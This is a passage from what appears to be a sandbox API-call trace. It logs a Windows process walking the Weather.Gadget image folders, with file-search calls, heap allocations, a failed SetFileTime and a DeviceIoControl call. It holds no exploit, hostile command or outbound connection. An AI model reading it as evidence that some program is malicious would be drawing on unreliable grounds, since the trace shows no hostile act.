ftLastAccessTime.dwLowDateTime=0xbe19c11c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbe19c11c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0090.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c8b8 [0090.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f49f8 [0090.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c9c0 [0090.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.448] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf02919, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf02919, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1c227c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0090.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4a18 [0090.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134cac8 [0090.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.450] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf28a78, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf28a78, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1c227c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0090.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4a38 [0090.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134cbd0 [0090.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.451] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf28a78, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf28a78, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1e83dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0090.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4a58 [0090.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ccd8 [0090.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.453] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf4ebd7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf4ebd7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1e83dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0090.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4a78 [0090.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134cde0 [0090.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf4ebd7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf4ebd7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1e83dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0090.455] GetLastError () returned 0x12 [0090.455] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.455] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe19c11c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbe19c11c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbe19c11c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf02919, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf02919, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1c227c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf28a78, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf28a78, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1c227c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf28a78, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf28a78, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1e83dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf4ebd7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf4ebd7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1e83dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0090.455] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf4ebd7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbf4ebd7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe1e83dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0090.456] GetLastError () returned 0x12 [0090.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.456] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c8b8) returned 1 [0090.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c6a8) returned 1 [0090.457] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1 [0090.457] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc07f6cf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc07f6cf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.png", cAlternateFileName="")) returned 1 [0090.457] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="144DPI", cAlternateFileName="")) returned 1 [0090.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c6a8 [0090.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.458] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.458] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.458] NtClose (Handle=0x15c) returned 0x0 [0090.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c6a8) returned 1 [0090.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c6a8 [0090.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c8b8 [0090.460] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.461] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.461] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe38b2fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbe38b2fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbe38b2fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0090.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4a98 [0090.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134cee8 [0090.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.464] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc26e8a2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc26e8a2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3b145c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0090.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4ab8 [0090.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134cff0 [0090.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x95c0) returned 0x132a698 [0090.465] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3d75bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0090.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4ad8 [0090.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d0f8 [0090.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.467] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3fd71c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0090.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4af8 [0090.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d200 [0090.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.468] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3fd71c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0090.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4b18 [0090.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d308 [0090.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3fd71c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0090.470] GetLastError () returned 0x12 [0090.470] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0090.470] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe38b2fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbe38b2fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbe38b2fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, 